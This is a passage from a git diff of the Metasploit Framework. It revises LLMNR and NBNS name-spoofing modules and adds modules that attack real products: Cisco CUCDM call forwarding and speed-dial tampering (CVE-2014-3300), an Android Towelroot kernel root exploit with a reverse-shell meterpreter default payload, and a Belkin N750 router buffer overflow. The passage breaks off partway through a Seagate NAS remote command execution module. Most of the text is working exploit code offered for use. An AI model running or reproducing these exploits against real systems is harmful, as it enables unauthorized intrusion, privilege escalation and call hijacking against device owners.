dtp_hdr << "\x00\x03\x00\x05\x45" # dtp type - dtp_hdr << "\x00\x04\x00\x0a" << PacketFu::EthHeader.mac2str(smac) # neighbor + dtp_hdr = "\x01" # version + dtp_hdr << "\x00\x01\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x00\x00" # domain + dtp_hdr << "\x00\x02\x00\x05\x03" # status + dtp_hdr << "\x00\x03\x00\x05\x45" # dtp type + dtp_hdr << "\x00\x04\x00\x0a" << PacketFu::EthHeader.mac2str(smac) # neighbor p.eth_proto = llc_hdr.length + dtp_hdr.length p.payload = llc_hdr << dtp_hdr p diff --git a/modules/auxiliary/spoof/dns/compare_results.rb b/modules/auxiliary/spoof/dns/compare_results.rb index 6f6070401d..6b881e849e 100644 --- a/modules/auxiliary/spoof/dns/compare_results.rb +++ b/modules/auxiliary/spoof/dns/compare_results.rb @@ -97,16 +97,16 @@ class Metasploit3 < Msf::Auxiliary name = name.to_s anst = data.class.to_s.gsub(/^.*Resolv::DNS::Resource::IN::/, '') - case anst - when 'NS' + case data + when Resolv::DNS::Resource::IN::NS data = data.name.to_s - when 'MX' + when Resolv::DNS::Resource::IN::MX data = data.exchange.to_s - when 'A' + when Resolv::DNS::Resource::IN::A data = data.address.to_s - when 'TXT' + when Resolv::DNS::Resource::IN::TXT data = data.strings.join - when 'CNAME' + when Resolv::DNS::Resource::IN::CNAME data = data.name.to_s else data = anst diff --git a/modules/auxiliary/spoof/llmnr/llmnr_response.rb b/modules/auxiliary/spoof/llmnr/llmnr_response.rb index 4a7123fd56..c1cef329e9 100644 --- a/modules/auxiliary/spoof/llmnr/llmnr_response.rb +++ b/modules/auxiliary/spoof/llmnr/llmnr_response.rb @@ -139,9 +139,7 @@ attr_accessor :sock, :thread end ip_pkt.recalc - open_pcap - capture_sendto(ip_pkt, rhost.to_s, true) - close_pcap + capture_sendto(ip_pkt, rhost.to_s, true) end def monitor_socket @@ -176,7 +174,10 @@ attr_accessor :sock, :thread def run check_pcaprub_loaded() - ::Socket.do_not_reverse_lookup = true + ::Socket.do_not_reverse_lookup = true # Mac OS X workaround + + # Avoid receiving extraneous traffic on our send socket + open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'}) # Multicast Address for LLMNR multicast_addr = ::IPAddr.new("224.0.0.252") @@ -191,24 +192,28 @@ attr_accessor :sock, :thread self.sock = Rex::Socket.create_udp( # This must be INADDR_ANY to receive multicast packets 'LocalHost' => "0.0.0.0", - 'LocalPort' => 5355) + 'LocalPort' => 5355, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + ) self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval) self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) { - monitor_socket + monitor_socket } print_status("LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"#{datastore['REGEX']}\" ...") add_socket(self.sock) - while thread.alive? - select(nil, nil, nil, 0.25) - end - - self.thread.kill - self.sock.close rescue nil + self.thread.join end + def cleanup + if self.thread and self.thread.alive? + self.thread.kill + self.thread = nil + end + close_pcap + end end diff --git a/modules/auxiliary/spoof/nbns/nbns_response.rb b/modules/auxiliary/spoof/nbns/nbns_response.rb index 0916ac71dd..84a2f1afe6 100644 --- a/modules/auxiliary/spoof/nbns/nbns_response.rb +++ b/modules/auxiliary/spoof/nbns/nbns_response.rb @@ -9,6 +9,9 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Capture + attr_accessor :sock, :thread + + def initialize super( 'Name' => 'NetBIOS Name Service Spoofer', @@ -44,108 +47,142 @@ class Metasploit3 < Msf::Auxiliary ]) register_advanced_options([ - OptBool.new('Debug', [ false, "Determines whether incoming packet parsing is displayed", false]) + OptBool.new('DEBUG', [ false, "Determines whether incoming packet parsing is displayed", false]) ]) deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER') + self.thread = nil + self.sock = nil + end + + def dispatch_request(packet, rhost, src_port) + rhost = ::IPAddr.new(rhost) + # `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped + # addr like "::ffff:192.168.0.1" when the interface we're listening + # on has an IPv6 address. Convert it to just the v4 addr + if rhost.ipv4_mapped? + rhost = rhost.native + end + + # Convert to string + rhost = rhost.to_s + + spoof = ::IPAddr.new(datastore['SPOOFIP']) + + return if packet.length == 0 + + nbnsq_transid = packet[0..1] + nbnsq_flags = packet[2..3] + nbnsq_questions = packet[4..5] + nbnsq_answerrr = packet[6..7] + nbnsq_authorityrr = packet[8..9] + nbnsq_additionalrr = packet[10..11] + nbnsq_name = packet[12..45] + decoded = "" + nbnsq_name.slice(1..-2).each_byte do |c| + decoded << "#{(c - 65).to_s(16)}" + end + nbnsq_decodedname = "#{[decoded].pack('H*')}".strip() + nbnsq_type = packet[46..47] + nbnsq_class = packet[48..49] + + return unless nbnsq_decodedname =~ /#{datastore['REGEX']}/i + + vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}") + + if datastore['DEBUG'] + print_status("transid: #{nbnsq_transid.unpack('H4')}") + print_status("tlags: #{nbnsq_flags.unpack('B16')}") + print_status("questions: #{nbnsq_questions.unpack('n')}") + print_status("answerrr: #{nbnsq_answerrr.unpack('n')}") + print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}") + print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}") + print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}") + print_status("full name: #{nbnsq_name.slice(1..-2)}") + print_status("decoded: #{decoded}") + print_status("decoded name: #{nbnsq_decodedname}") + print_status("type: #{nbnsq_type.unpack('n')}") + print_status("class: #{nbnsq_class.unpack('n')}") + end + + # time to build a response packet - Oh YEAH! + response = nbnsq_transid + + "\x85\x00" + # Flags = response + authoratative + recursion desired + + "\x00\x00" + # Questions = 0 + "\x00\x01" + # Answer RRs = 1 + "\x00\x00" + # Authority RRs = 0 + "\x00\x00" + # Additional RRs = 0 + nbnsq_name + # original query name + nbnsq_type + # Type = NB ...whatever that means + nbnsq_class+ # Class = IN + "\x00\x04\x93\xe0" + # TTL = a long ass time + "\x00\x06" + # Datalength = 6 + "\x00\x00" + # Flags B-node, unique = whatever that means + spoof.hton + + pkt = PacketFu::UDPPacket.new + pkt.ip_saddr = Rex::Socket.source_address(rhost) + pkt.ip_daddr = rhost + pkt.ip_ttl = 255 + pkt.udp_sport = 137 + pkt.udp_dport = src_port + pkt.payload = response + pkt.recalc + + capture_sendto(pkt, rhost) + end + + def monitor_socket + while true + rds = [self.sock] + wds = [] + eds = [self.sock] + + r,_,_ = ::IO.select(rds,wds,eds,0.25) + if (r != nil and r[0] == self.sock) + packet, host, port = self.sock.recvfrom(65535) + dispatch_request(packet, host, port) + end + end end def run - check_pcaprub_loaded() # Check first since otherwise this is all for naught - # MacOS X workaround - ::Socket.do_not_reverse_lookup = true + check_pcaprub_loaded() + ::Socket.do_not_reverse_lookup = true # Mac OS X workaround - @sock = ::UDPSocket.new() - @sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) - @sock.bind('', 137) # couldn't specify srv host because it missed broadcasts + # Avoid receiving extraneous traffic on our send socket + open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'}) - @run = true + self.sock = Rex::Socket.create_udp( + 'LocalHost' => "0.0.0.0", + 'LocalPort' => 137, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + ) + add_socket(self.sock) + self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) - print_status("NBNS Spoofer started. Listening for NBNS requests...") - - begin - - while @run # Not exactly thrilled we can never turn this off XXX fix this sometime. - packet, addr = @sock.recvfrom(512) - src_port = addr[1] - rhost = addr[3] - - break if packet.length == 0 - - nbnsq_transid = packet[0..1] - nbnsq_flags = packet[2..3] - nbnsq_questions = packet[4..5] - nbnsq_answerrr = packet[6..7] - nbnsq_authorityrr = packet[8..9] - nbnsq_additionalrr = packet[10..11] - nbnsq_name = packet[12..45] - decoded = "" - nbnsq_name.slice(1..-2).each_byte do |c| - decoded << "#{(c - 65).to_s(16)}" + self.thread = Rex::ThreadFactory.spawn("NBNSServerMonitor", false) { + begin + monitor_socket + rescue ::Interrupt + raise $! + rescue ::Exception + print_error("Error: #{$!.class} #{$!} #{$!.backtrace}") end - nbnsq_decodedname = "#{[decoded].pack('H*')}".strip() - nbnsq_type = packet[46..47] - nbnsq_class = packet[48..49] + } - if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i) + print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX']}\" ...") - vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{datastore["SPOOFIP"]}") - - if datastore['DEBUG'] - print_status("transid: #{nbnsq_transid.unpack('H4')}") - print_status("tlags: #{nbnsq_flags.unpack('B16')}") - print_status("questions: #{nbnsq_questions.unpack('n')}") - print_status("answerrr: #{nbnsq_answerrr.unpack('n')}") - print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}") - print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}") - print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}") - print_status("full name: #{nbnsq_name.slice(1..-2)}") - print_status("decoded: #{decoded}") - print_status("decoded name: #{nbnsq_decodedname}") - print_status("type: #{nbnsq_type.unpack('n')}") - print_status("class: #{nbnsq_class.unpack('n')}") - end - - # time to build a response packet - Oh YEAH! - response = nbnsq_transid + - "\x85\x00" + # Flags = response + authoratative + recursion desired + - "\x00\x00" + # Questions = 0 - "\x00\x01" + # Answer RRs = 1 - "\x00\x00" + # Authority RRs = 0 - "\x00\x00" + # Additional RRs = 0 - nbnsq_name + # original query name - nbnsq_type + # Type = NB ...whatever that means - nbnsq_class+ # Class = IN - "\x00\x04\x93\xe0" + # TTL = a long ass time - "\x00\x06" + # Datalength = 6 - "\x00\x00" + # Flags B-node, unique = whet ever that means - datastore['SPOOFIP'].split('.').collect(&:to_i).pack('C*') - - open_pcap - - p = PacketFu::UDPPacket.new - p.ip_saddr = Rex::Socket.source_address(rhost) - p.ip_daddr = rhost - p.ip_ttl = 255 - p.udp_sport = 137 - p.udp_dport = src_port - p.payload = response - p.recalc - - capture_sendto(p, rhost) - - close_pcap - - else - vprint_status("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} did not match regex") - end - end - - rescue ::Exception => e - print_error("nbnspoof: #{e.class} #{e} #{e.backtrace}") - # Make sure the socket gets closed on exit - ensure - @sock.close - end + self.thread.join + print_status("NBNS Monitor thread exited...") end + + def cleanup + if self.thread and self.thread.alive? + self.thread.kill + self.thread = nil + end + close_pcap + end + end diff --git a/modules/auxiliary/voip/cisco_cucdm_call_forward.rb b/modules/auxiliary/voip/cisco_cucdm_call_forward.rb new file mode 100644 index 0000000000..b3de7313ce --- /dev/null +++ b/modules/auxiliary/voip/cisco_cucdm_call_forward.rb @@ -0,0 +1,148 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Viproy CUCDM IP Phone XML Services - Call Forwarding Tool', + 'Description' => %q{ + The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager + (CDM) 10 does not properly implement access control, which allows remote attackers to + modify user information. This module exploits the vulnerability to configure unauthorized + call forwarding. + }, + 'Author' => 'fozavci', + 'References' => + [ + ['CVE', '2014-3300'], + ['BID', '68331'] + ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'Forward', { 'Description' => 'Enabling the call forwarding for the MAC address' } ], + [ 'Info', { 'Description' => 'Retrieving the call forwarding information for the MAC address' } ] + ], + 'DefaultAction' => 'Info' + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']), + OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']), + OptString.new('FORWARDTO', [ true, 'Number to forward all calls', '007']), + OptString.new('FINTNUMBER', [ false, 'FINTNUMBER of IP Phones, required for multiple lines']) + ], self.class) + end + + def run + case action.name.upcase + when 'INFO' + get_info + when 'FORWARD' + forward_calls + end + end + + def get_info + uri = normalize_uri(target_uri.to_s) + mac = datastore["MAC"] + + print_status("#{peer} - Getting fintnumbers and display names of the IP phone") + + res = send_request_cgi( + { + 'uri' => normalize_uri(uri, 'showcallfwd.cgi'), + 'method' => 'GET', + 'vars_get' => { + 'device' => "SEP#{mac}" + } + }) + + unless res && res.code == 200 && res.body && res.body.to_s =~ /fintnumber/ + print_error("#{peer} - Target appears not vulnerable!") + print_status("#{res}") + return [] + end + + doc = REXML::Document.new(res.body) + lines = [] + fint_numbers = [] + + list = doc.root.get_elements('MenuItem') + + list.each do |lst| + xlist = lst.get_elements('Name') + xlist.each {|l| lines << "#{l[0]}"} + xlist = lst.get_elements('URL') + xlist.each {|l| fint_numbers << "#{l[0].to_s.split('fintnumber=')[1]}" } + end + + lines.size.times do |i| + print_status("#{peer} - Display Name: #{lines[i]}, Fintnumber: #{fint_numbers[i]}") + end + + fint_numbers + end + + def forward_calls + # for a specific FINTNUMBER redirection + uri = normalize_uri(target_uri.to_s) + forward_to = datastore["FORWARDTO"] + mac = datastore["MAC"] + + if datastore['FINTNUMBER'] + fint_numbers = [datastore['FINTNUMBER']] + else + fint_numbers = get_info + end + + if fint_numbers.empty? + print_error("#{peer} - FINTNUMBER required to forward calls") + return + end + + fint_numbers.each do |fintnumber| + + print_status("#{peer} - Sending call forward request for #{fintnumber}") + + send_request_cgi( + { + 'uri' => normalize_uri(uri, 'phonecallfwd.cgi'), + 'method' => 'GET', + 'vars_get' => { + 'cfoption' => 'CallForwardAll', + 'device' => "SEP#{mac}", + 'ProviderName' => 'NULL', + 'fintnumber' => "#{fintnumber}", + 'telno1' => "#{forward_to}" + } + }) + + res = send_request_cgi( + { + 'uri' => normalize_uri(uri, 'showcallfwdperline.cgi'), + 'method' => 'GET', + 'vars_get' => { + 'device' => "SEP#{mac}", + 'fintnumber' => "#{fintnumber}" + } + }) + + if res && res.body && res.body && res.body.to_s =~ /CFA/ + print_good("#{peer} - Call forwarded successfully for #{fintnumber}") + else + print_status("#{peer} - Call forward failed.") + end + end + end + +end diff --git a/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb b/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb new file mode 100644 index 0000000000..ae40518cd1 --- /dev/null +++ b/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb @@ -0,0 +1,205 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Viproy CUCDM IP Phone XML Services - Speed Dial Attack Tool', + 'Description' => %q{ + The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager + (CDM), before version 10, doesn't implement access control properly, which allows remote + attackers to modify user information. This module exploits the vulnerability to make + unauthorized speeddial entity manipulations. + }, + 'Author' => 'fozavci', + 'References' => + [ + ['CVE', '2014-3300'], + ['BID', '68331'] + ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'List', { 'Description' => 'Getting the speeddials for the MAC address' } ], + [ 'Modify', { 'Description' => 'Modifying a speeddial for the MAC address' } ], + [ 'Add', { 'Description' => 'Adding a speeddial for the MAC address' } ], + [ 'Delete', { 'Description' => 'Deleting a speeddial for the MAC address' } ] + ], + 'DefaultAction' => 'List' + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']), + OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']), + OptString.new('NAME', [ false, 'Name for Speed Dial', 'viproy']), + OptString.new('POSITION', [ false, 'Position for Speed Dial', '1']), + OptString.new('TELNO', [ false, 'Phone number for Speed Dial', '007']), + ], self.class) + end + + def run + + case action.name.upcase + when 'MODIFY' + modify + when 'DELETE' + delete + when 'ADD' + add + when 'LIST' + list + end + + end + + def send_rcv(uri, vars_get) + uri = normalize_uri(target_uri.to_s, uri.to_s) + res = send_request_cgi( + { + 'uri' => uri, + 'method' => 'GET', + 'vars_get' => vars_get + }) + + if res && res.code == 200 && res.body && res.body.to_s =~ /Speed [D|d]ial/ + return Exploit::CheckCode::Vulnerable, res + else + print_error("#{peer} - Target appears not vulnerable!") + return Exploit::CheckCode::Safe, res + end + end + + def parse(res) + doc = REXML::Document.new(res.body) + names = [] + phones = [] + + list = doc.root.get_elements('DirectoryEntry') + list.each do |lst| + xlist = lst.get_elements('Name') + xlist.each {|l| names << "#{l[0]}"} + xlist = lst.get_elements('Telephone') + xlist.each {|l| phones << "#{l[0]}" } + end + + if names.size > 0 + names.size.times do |i| + info = '' + info << "Position: #{names[i].split(":")[0]}, " + info << "Name: #{names[i].split(":")[1]}, " + info << "Telephone: #{phones[i]}" + + print_good("#{peer} - #{info}") + end + else + print_status("#{peer} - No Speed Dial detected") + end + end + + def list + mac = datastore['MAC'] + + print_status("#{peer} - Getting Speed Dials of the IP phone") + vars_get = { + 'device' => "SEP#{mac}" + } + + status, res = send_rcv('speeddials.cgi', vars_get) + parse(res) unless status == Exploit::CheckCode::Safe + end + + def add + mac = datastore['MAC'] + name = datastore['NAME'] + position = datastore['POSITION'] + telno = datastore['TELNO'] + + print_status("#{peer} - Adding Speed Dial to the IP phone") + vars_get = { + 'name' => "#{name}", + 'telno' => "#{telno}", + 'device' => "SEP#{mac}", + 'entry' => "#{position}", + 'mac' => "#{mac}" + } + status, res = send_rcv('phonespeedialadd.cgi', vars_get) + + if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/ + print_good("#{peer} - Speed Dial #{position} is added successfully") + elsif res && res.body && res.body.to_s =~ /exist/ + print_error("#{peer} - Speed Dial is exist, change the position or choose modify!") + else + print_error("#{peer} - Speed Dial couldn't add!") + end + end + + def delete + mac = datastore['MAC'] + position = datastore['POSITION'] + + print_status("#{peer} - Deleting Speed Dial of the IP phone") + + vars_get = { + 'entry' => "#{position}", + 'device' => "SEP#{mac}" + } + + status, res = send_rcv('phonespeeddialdelete.cgi', vars_get) + + if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/ + print_good("#{peer} - Speed Dial #{position} is deleted successfully") + else + print_error("#{peer} - Speed Dial is not found!") + end + end + + def modify + mac = datastore['MAC'] + name = datastore['NAME'] + position = datastore['POSITION'] + telno = datastore['TELNO'] + + print_status("#{peer} - Deleting Speed Dial of the IP phone") + + vars_get = { + 'entry' => "#{position}", + 'device' => "SEP#{mac}" + } + + status, res = send_rcv('phonespeeddialdelete.cgi', vars_get) + + if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/ + print_good("#{peer} - Speed Dial #{position} is deleted successfully") + print_status("#{peer} - Adding Speed Dial to the IP phone") + + vars_get = { + 'name' => "#{name}", + 'telno' => "#{telno}", + 'device' => "SEP#{mac}", + 'entry' => "#{position}", + 'mac' => "#{mac}" + } + + status, res = send_rcv('phonespeedialadd.cgi', vars_get) + + if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/ + print_good("#{peer} - Speed Dial #{position} is added successfully") + elsif res && res.body =~ /exist/ + print_error("#{peer} - Speed Dial is exist, change the position or choose modify!") + else + print_error("#{peer} - Speed Dial couldn't add!") + end + else + print_error("#{peer} - Speed Dial is not found!") + end + end +end diff --git a/modules/encoders/x86/alpha_mixed.rb b/modules/encoders/x86/alpha_mixed.rb index 0ebf09384e..21cadc3de2 100644 --- a/modules/encoders/x86/alpha_mixed.rb +++ b/modules/encoders/x86/alpha_mixed.rb @@ -55,15 +55,6 @@ class Metasploit3 < Msf::Encoder::Alphanum buf + Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, off) end - # - # Configure SEH getpc code on Windows - # - def init_platform(platform) - if(platform.supports?(::Msf::Module::PlatformList.win32)) - datastore['AllowWin32SEH'] = true - end - end - # # Encodes a one byte block with the current index of the length of the # payload. diff --git a/modules/encoders/x86/alpha_upper.rb b/modules/encoders/x86/alpha_upper.rb index 543b27c24f..8eb60e5fe8 100644 --- a/modules/encoders/x86/alpha_upper.rb +++ b/modules/encoders/x86/alpha_upper.rb @@ -58,16 +58,6 @@ class Metasploit3 < Msf::Encoder::Alphanum buf + Rex::Encoder::Alpha2::AlphaUpper::gen_decoder(reg, off) end - - # - # Configure SEH getpc code on Windows - # - def init_platform(platform) - if(platform.supports?(::Msf::Module::PlatformList.win32)) - datastore['AllowWin32SEH'] = true - end - end - # # Encodes a one byte block with the current index of the length of the # payload. diff --git a/modules/exploits/android/local/futex_requeue.rb b/modules/exploits/android/local/futex_requeue.rb new file mode 100644 index 0000000000..204bf8af5b --- /dev/null +++ b/modules/exploits/android/local/futex_requeue.rb @@ -0,0 +1,83 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit4 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Common + + def initialize(info={}) + super( update_info( info, { + 'Name' => "Android 'Towelroot' Futex Requeue Kernel Exploit", + 'Description' => %q{ + This module exploits a bug in futex_requeue in the Linux kernel, using + similiar techniques employed by the towelroot exploit. Any Android device + with a kernel built before June 2014 is likely to be vulnerable. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Pinkie Pie', # discovery + 'geohot', # towelroot + 'timwr' # metasploit module + ], + 'References' => + [ + [ 'CVE', '2014-3153' ], + [ 'URL', 'http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/' ], + [ 'URL', 'http://blog.nativeflow.com/the-futex-vulnerability' ], + ], + 'SessionTypes' => [ 'meterpreter' ], + 'Platform' => 'android', + 'Targets' => [[ 'Automatic', { }]], + 'Arch' => ARCH_DALVIK, + 'DefaultOptions' => + { + 'PAYLOAD' => 'android/meterpreter/reverse_tcp', + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => "May 03 2014" + } + )) + + register_options([ + OptString.new("WritableDir", [ true, "Temporary directory to write files", "/data/local/tmp/" ]), + ], self.class) + end + + def put_local_file(remotefile) + localfile = File.join( Msf::Config.data_directory, "exploits", "CVE-2014-3153.elf" ) + data = File.read(localfile, {:mode => 'rb'}) + write_file(remotefile, data) + end + + def exploit + workingdir = session.fs.dir.getwd + exploitfile = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}" + payloadfile = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}" + + put_local_file(exploitfile) + cmd_exec('/system/bin/chmod 700 ' + exploitfile) + write_file(payloadfile, payload.raw) + + tmpdir = datastore['WritableDir'] + rootclassdir = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}" + rootpayload = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}.jar" + + rootcmd = " mkdir #{rootclassdir} && " + rootcmd += "cd #{rootclassdir} && " + rootcmd += "cp " + payloadfile + " #{rootpayload} && " + rootcmd += "chmod 766 #{rootpayload} && " + rootcmd += "dalvikvm -Xbootclasspath:/system/framework/core.jar -cp #{rootpayload} com.metasploit.stage.Payload" + + process = session.sys.process.execute(exploitfile, rootcmd, {'Hidden' => true, 'Channelized' => true}) + process.channel.read + end + +end + diff --git a/modules/exploits/freebsd/samba/trans2open.rb b/modules/exploits/freebsd/samba/trans2open.rb index 2cc5fb0279..56bb341327 100644 --- a/modules/exploits/freebsd/samba/trans2open.rb +++ b/modules/exploits/freebsd/samba/trans2open.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Brute def initialize(info = {}) diff --git a/modules/exploits/linux/http/belkin_login_bof.rb b/modules/exploits/linux/http/belkin_login_bof.rb new file mode 100644 index 0000000000..2994ce4a32 --- /dev/null +++ b/modules/exploits/linux/http/belkin_login_bof.rb @@ -0,0 +1,116 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Belkin Play N750 login.cgi Buffer Overflow', + 'Description' => %q{ + This module exploits a remote buffer overflow vulnerability on Belkin Play N750 DB + Wireless Dual-Band N+ Router N750 routers. The vulnerability exists in the handling + of HTTP queries with long 'jump' parameters addressed to the /login.cgi URL, allowing + remote unauthenticated attackers to execute arbitrary code. This module was tested in + an emulated environment, using the version 1.10.16.m of the firmware. + }, + 'Author' => + [ + 'Marco Vaz ', # Vulnerability discovery and msf module (telnetd) + 'Michael Messner ', # msf module with echo stager + ], + 'License' => MSF_LICENSE, + 'Platform' => ['linux'], + 'Arch' => ARCH_MIPSLE, + 'References' => + [ + ['CVE', '2014-1635'], + ['EDB', '35184'], + ['BID', '70977'], + ['OSVDB', '114345'], + ['URL', 'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/'], + ['URL', 'http://www.belkin.com/us/support-article?articleNum=4831'] + ], + 'Targets' => + [ + [ 'Belkin Play N750 DB Wireless Dual-Band N+ Router, F9K1103, firmware 1.10.16.m', + { + 'Offset' => 1379, + } + ] + ], + 'DefaultOptions' => + { + 'RPORT' => 8080 + }, + 'DisclosureDate' => 'May 09 2014', + 'DefaultTarget' => 0)) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => '/' + }) + + if res && + [200, 301, 302].include?(res.code) && + res.headers['Server'] && + res.headers['Server'] =~ /minhttpd/ && + res.body =~ /u_errpaswd/ + + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Accessing the vulnerable URL...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") + end + + print_status("#{peer} - Exploiting...") + execute_cmdstager( + :flavor => :echo, + :linemax => 200 + ) + end + + def prepare_shellcode(cmd) + shellcode = rand_text_alpha_upper(target['Offset']) + shellcode << 'e' << cmd + shellcode << "\n\n" + end + + def execute_command(cmd, opts) + shellcode = prepare_shellcode(cmd) + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => '/login.cgi', + 'vars_post' => { + 'GO' => '', + 'jump' => shellcode, + } + }) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end diff --git a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb index 44a14d74ae..6052481e8b 100644 --- a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb +++ b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb @@ -185,7 +185,6 @@ class Metasploit3 < Msf::Exploit::Remote "wan_hwaddr2" => @wan_hwaddr2_orig, "wan_hwaddr_pc" => @wan_hwaddr_pc_orig, "wan_nat" => @wan_nat_orig, - "opendns_parental_ctrl" => @opendns_parental_ctrl_orig, "pppoe_flet_sel" => @pppoe_flet_sel_orig, "pppoe_flet_type" => @pppoe_flet_type_orig, "pppoe_temp" => @pppoe_temp_orig, diff --git a/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb new file mode 100644 index 0000000000..2d2be5d085 --- /dev/null +++ b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb @@ -0,0 +1,354 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit4 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Seagate Business NAS Unauthenticated Remote Command Execution', + 'Description' => %q{ + Some Seagate Business NAS devices are vulnerable to command execution via a local + file include vulnerability hidden in the language parameter of the CodeIgniter + session cookie. The vulnerability manifests in the way the language files are + included in the code on the login page, and hence is open to attack from users + without the need for authentication. The cookie can be easily decrypted using a + known static encryption key and re-encrypted once the PHP object string has been + modified. + + This module has been tested on the STBN300 device. + }, + 'Author' => [ + 'OJ Reeves ' # Discovery and Metasploit module + ], + 'References' => [ + ['CVE', '2014-8684'], + ['CVE', '2014-8686'], + ['CVE', '2014-8687'], + ['EDB', '36202'], + ['URL', 'http://www.seagate.com/au/en/support/external-hard-drives/network-storage/business-storage-2-bay-nas/'], + ['URL', 'https://beyondbinary.io/advisory/seagate-nas-rce/'] + ], + 'DisclosureDate' => 'Mar 01 2015', + 'Privileged' => true, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Payload' => {'DisableNops' => true}, + 'Targets' => [['Automatic', {}]], + 'DefaultTarget' => 0, + 'License' => MSF_LICENSE + )) + + register_options([ + OptString.new('TARGETURI', [true, 'Path to the application root', '/']), + OptString.new('ADMINACCOUNT', [true, 'Name of 